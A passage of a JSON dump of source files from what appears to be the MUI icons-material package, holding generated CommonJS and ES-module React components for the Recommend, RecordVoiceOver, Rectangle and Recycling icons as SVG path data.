1.95V16h7.78v-.65c0-1.3-2.59-1.95-3.89-1.95\"\n}, \"3\")], 'RecentActorsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Recommend.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2a10 10 0 1 0 10 10A10 10 0 0 0 12 2m6 9.8a.9.9 0 0 1-.1.5l-2.1 4.9a1.34 1.34 0 0 1-1.3.8H9a2 2 0 0 1-2-2v-5a1.28 1.28 0 0 1 .4-1L12 5l.69.69a1.08 1.08 0 0 1 .3.7v.2L12.41 10H17a1 1 0 0 1 1 1z\"\n}), 'Recommend');"
  },
  {
    "path": "packages/mui-icons-material/lib/Recommend.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2a10 10 0 1 0 10 10A10 10 0 0 0 12 2m6 9.8a.9.9 0 0 1-.1.5l-2.1 4.9a1.34 1.34 0 0 1-1.3.8H9a2 2 0 0 1-2-2v-5a1.28 1.28 0 0 1 .4-1L12 5l.69.69a1.08 1.08 0 0 1 .3.7v.2L12.41 10H17a1 1 0 0 1 1 1z\"\n}), 'Recommend');"
  },
  {
    "path": "packages/mui-icons-material/lib/RecommendOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 10h-4.59l.58-3.41v-.2c-.01-.26-.12-.51-.3-.7L12 5l-4.6 5c-.27.26-.42.62-.4 1v5c0 1.1.9 2 2 2h5.5c.56.03 1.08-.29 1.3-.8l2.1-4.9c.08-.15.12-.33.1-.5V11c0-.55-.45-1-1-1\"\n}, \"1\")], 'RecommendOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RecommendOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 10h-4.59l.58-3.41v-.2c-.01-.26-.12-.51-.3-.7L12 5l-4.6 5c-.27.26-.42.62-.4 1v5c0 1.1.9 2 2 2h5.5c.56.03 1.08-.29 1.3-.8l2.1-4.9c.08-.15.12-.33.1-.5V11c0-.55-.45-1-1-1\"\n}, \"1\")], 'RecommendOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RecommendRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m6 9.8c.02.17-.02.35-.1.5l-2.1 4.9c-.22.51-.74.83-1.3.8H9c-1.1 0-2-.9-2-2v-5c-.02-.38.13-.74.4-1L12 5l.69.69c.18.19.29.44.3.7v.2L12.41 10H17c.55 0 1 .45 1 1z\"\n}), 'RecommendRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RecommendRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m6 9.8c.02.17-.02.35-.1.5l-2.1 4.9c-.22.51-.74.83-1.3.8H9c-1.1 0-2-.9-2-2v-5c-.02-.38.13-.74.4-1L12 5l.69.69c.18.19.29.44.3.7v.2L12.41 10H17c.55 0 1 .45 1 1z\"\n}), 'RecommendRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RecommendSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m6 10.05L15.46 18H7v-7.56L12 5l1 1v.53L12.41 10H18z\"\n}), 'RecommendSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RecommendSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m6 10.05L15.46 18H7v-7.56L12 5l1 1v.53L12.41 10H18z\"\n}), 'RecommendSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RecommendTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m5.9 8.3-2.1 4.9c-.22.51-.74.83-1.3.8H9c-1.1 0-2-.9-2-2v-5c-.02-.38.13-.74.4-1L12 5l.69.69c.18.19.29.44.3.7v.2L12.41 10H17c.55 0 1 .45 1 1v.8c.02.17-.02.35-.1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 10h-4.59l.58-3.41v-.2c-.01-.26-.12-.51-.3-.7L12 5l-4.6 5c-.27.26-.42.62-.4 1v5c0 1.1.9 2 2 2h5.5c.56.03 1.08-.29 1.3-.8l2.1-4.9c.08-.15.12-.33.1-.5V11c0-.55-.45-1-1-1\"\n}, \"2\")], 'RecommendTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RecommendTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m5.9 8.3-2.1 4.9c-.22.51-.74.83-1.3.8H9c-1.1 0-2-.9-2-2v-5c-.02-.38.13-.74.4-1L12 5l.69.69c.18.19.29.44.3.7v.2L12.41 10H17c.55 0 1 .45 1 1v.8c.02.17-.02.35-.1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 10h-4.59l.58-3.41v-.2c-.01-.26-.12-.51-.3-.7L12 5l-4.6 5c-.27.26-.42.62-.4 1v5c0 1.1.9 2 2 2h5.5c.56.03 1.08-.29 1.3-.8l2.1-4.9c.08-.15.12-.33.1-.5V11c0-.55-.45-1-1-1\"\n}, \"2\")], 'RecommendTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RecordVoiceOver.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"9\",\n  r: \"4\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 15c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4m7.76-9.64-1.68 1.69c.84 1.18.84 2.71 0 3.89l1.68 1.69c2.02-2.02 2.02-5.07 0-7.27M20.07 2l-1.63 1.63c2.77 3.02 2.77 7.56 0 10.74L20.07 16c3.9-3.89 3.91-9.95 0-14\"\n}, \"1\")], 'RecordVoiceOver');"
  },
  {
    "path": "packages/mui-icons-material/lib/RecordVoiceOver.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"9\",\n  r: \"4\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 15c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4m7.76-9.64-1.68 1.69c.84 1.18.84 2.71 0 3.89l1.68 1.69c2.02-2.02 2.02-5.07 0-7.27M20.07 2l-1.63 1.63c2.77 3.02 2.77 7.56 0 10.74L20.07 16c3.9-3.89 3.91-9.95 0-14\"\n}, \"1\")], 'RecordVoiceOver');"
  },
  {
    "path": "packages/mui-icons-material/lib/RecordVoiceOverOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 13c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0 8c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4m-6 4c.22-.72 3.31-2 6-2 2.7 0 5.8 1.29 6 2zM15.08 7.05c.84 1.18.84 2.71 0 3.89l1.68 1.69c2.02-2.02 2.02-5.07 0-7.27zM20.07 2l-1.63 1.63c2.77 3.02 2.77 7.56 0 10.74L20.07 16c3.9-3.89 3.91-9.95 0-14\"\n}), 'RecordVoiceOverOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RecordVoiceOverOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 13c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0 8c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4m-6 4c.22-.72 3.31-2 6-2 2.7 0 5.8 1.29 6 2zM15.08 7.05c.84 1.18.84 2.71 0 3.89l1.68 1.69c2.02-2.02 2.02-5.07 0-7.27zM20.07 2l-1.63 1.63c2.77 3.02 2.77 7.56 0 10.74L20.07 16c3.9-3.89 3.91-9.95 0-14\"\n}), 'RecordVoiceOverOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RecordVoiceOverRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"9\",\n  r: \"4\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 15c-2.67 0-8 1.34-8 4v1c0 .55.45 1 1 1h14c.55 0 1-.45 1-1v-1c0-2.66-5.33-4-8-4m6.47-7.23c.32.79.32 1.67 0 2.46-.19.47-.11 1 .25 1.36l.03.03c.58.58 1.57.46 1.95-.27.76-1.45.76-3.15-.02-4.66-.38-.74-1.38-.88-1.97-.29l-.01.01c-.34.35-.42.89-.23 1.36m3.71-4.88c-.4.4-.46 1.02-.13 1.48 1.97 2.74 1.96 6.41-.03 9.25-.32.45-.25 1.07.14 1.46l.03.03c.49.49 1.32.45 1.74-.1 2.75-3.54 2.76-8.37 0-12.02-.42-.55-1.26-.59-1.75-.1\"\n}, \"1\")], 'RecordVoiceOverRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RecordVoiceOverRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"9\",\n  r: \"4\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 15c-2.67 0-8 1.34-8 4v1c0 .55.45 1 1 1h14c.55 0 1-.45 1-1v-1c0-2.66-5.33-4-8-4m6.47-7.23c.32.79.32 1.67 0 2.46-.19.47-.11 1 .25 1.36l.03.03c.58.58 1.57.46 1.95-.27.76-1.45.76-3.15-.02-4.66-.38-.74-1.38-.88-1.97-.29l-.01.01c-.34.35-.42.89-.23 1.36m3.71-4.88c-.4.4-.46 1.02-.13 1.48 1.97 2.74 1.96 6.41-.03 9.25-.32.45-.25 1.07.14 1.46l.03.03c.49.49 1.32.45 1.74-.1 2.75-3.54 2.76-8.37 0-12.02-.42-.55-1.26-.59-1.75-.1\"\n}, \"1\")], 'RecordVoiceOverRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RecordVoiceOverSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"9\",\n  r: \"4\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 15c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4m6.08-7.95c.84 1.18.84 2.71 0 3.89l1.68 1.69c2.02-2.02 2.02-5.07 0-7.27zM20.07 2l-1.63 1.63c2.77 3.02 2.77 7.56 0 10.74L20.07 16c3.9-3.89 3.91-9.95 0-14\"\n}, \"1\")], 'RecordVoiceOverSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RecordVoiceOverSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"9\",\n  r: \"4\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 15c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4m6.08-7.95c.84 1.18.84 2.71 0 3.89l1.68 1.69c2.02-2.02 2.02-5.07 0-7.27zM20.07 2l-1.63 1.63c2.77 3.02 2.77 7.56 0 10.74L20.07 16c3.9-3.89 3.91-9.95 0-14\"\n}, \"1\")], 'RecordVoiceOverSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RecordVoiceOverTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsxs)(\"g\", {\n  opacity: \".3\",\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n    cx: \"9\",\n    cy: \"9\",\n    r: \"2\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M9 17c-2.69 0-5.77 1.28-6 2h12c-.2-.71-3.3-2-6-2\"\n  })]\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 13c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0 8c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4m-6 4c.22-.72 3.31-2 6-2 2.7 0 5.8 1.29 6 2zM16.76 5.36l-1.68 1.69c.84 1.18.84 2.71 0 3.89l1.68 1.69c2.02-2.02 2.02-5.07 0-7.27M20.07 2l-1.63 1.63c2.77 3.02 2.77 7.56 0 10.74L20.07 16c3.9-3.89 3.91-9.95 0-14\"\n}, \"1\")], 'RecordVoiceOverTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RecordVoiceOverTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsxs(\"g\", {\n  opacity: \".3\",\n  children: [/*#__PURE__*/_jsx(\"circle\", {\n    cx: \"9\",\n    cy: \"9\",\n    r: \"2\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M9 17c-2.69 0-5.77 1.28-6 2h12c-.2-.71-3.3-2-6-2\"\n  })]\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 13c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0 8c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4m-6 4c.22-.72 3.31-2 6-2 2.7 0 5.8 1.29 6 2zM16.76 5.36l-1.68 1.69c.84 1.18.84 2.71 0 3.89l1.68 1.69c2.02-2.02 2.02-5.07 0-7.27M20.07 2l-1.63 1.63c2.77 3.02 2.77 7.56 0 10.74L20.07 16c3.9-3.89 3.91-9.95 0-14\"\n}, \"1\")], 'RecordVoiceOverTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Rectangle.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 4h20v16H2z\"\n}), 'Rectangle');"
  },
  {
    "path": "packages/mui-icons-material/lib/Rectangle.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 4h20v16H2z\"\n}), 'Rectangle');"
  },
  {
    "path": "packages/mui-icons-material/lib/RectangleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 4v16h20V4zm18 14H4V6h16z\"\n}), 'RectangleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RectangleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 4v16h20V4zm18 14H4V6h16z\"\n}), 'RectangleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RectangleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 6v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2\"\n}), 'RectangleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RectangleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 6v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2\"\n}), 'RectangleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RectangleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 4h20v16H2z\"\n}), 'RectangleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RectangleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 4h20v16H2z\"\n}), 'RectangleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RectangleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6h16v12H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 4v16h20V4zm18 14H4V6h16z\"\n}, \"1\")], 'RectangleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RectangleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6h16v12H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 4v16h20V4zm18 14H4V6h16z\"\n}, \"1\")], 'RectangleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Recycling.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.77 7.15 7.2 4.78l1.03-1.71c.39-.65 1.33-.65 1.72 0l1.48 2.46-1.23 2.06-1 1.62zm15.95 5.82-1.6-2.66-3.46 2L18.87 16H20c.76 0 1.45-.43 1.79-1.11.14-.28.21-.58.21-.89 0-.36-.1-.71-.28-1.03M16 21h1.5c.76 0 1.45-.43 1.79-1.11L20.74 17H16v-2l-4 4 4 4zm-6-4H5.7l-.84 1.41c-.3.5-.32 1.12-.06 1.65.28.57.87.94 1.52.94H10zm-3.88-2.65 1.73 1.04L6.48 9.9 1 11.27l1.7 1.02-.41.69c-.35.59-.38 1.31-.07 1.92l1.63 3.26zm10.9-9.21-1.3-2.17C15.35 2.37 14.7 2 14 2h-3.53l3.12 5.2-1.72 1.03 5.49 1.37 1.37-5.49z\"\n}), 'Recycling');"
  },
  {
    "path": "packages/mui-icons-material/lib/Recycling.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.77 7.15 7.2 4.78l1.03-1.71c.39-.65 1.33-.65 1.72 0l1.48 2.46-1.23 2.06-1 1.62zm15.95 5.82-1.6-2.66-3.46 2L18.87 16H20c.76 0 1.45-.43 1.79-1.11.14-.28.21-.58.21-.89 0-.36-.1-.71-.28-1.03M16 21h1.5c.76 0 1.45-.43 1.79-1.11L20.74 17H16v-2l-4 4 4 4zm-6-4H5.7l-.84 1.41c-.3.5-.32 1.12-.06 1.65.28.57.87.94 1.52.94H10zm-3.88-2.65 1.73 1.04L6.48 9.9 1 11.27l1.7 1.02-.41.69c-.35.59-.38 1.31-.07 1.92l1.63 3.26zm10.9-9.21-1.3-2.17C15.35 2.37 14.7 2 14 2h-3.53l3.12 5.2-1.72 1.03 5.49 1.37 1.37-5.49z\"\n}), 'Recycling');"
  },
  {
    "path": "packages/mui-icons-material/lib/RecyclingOutlined.js",
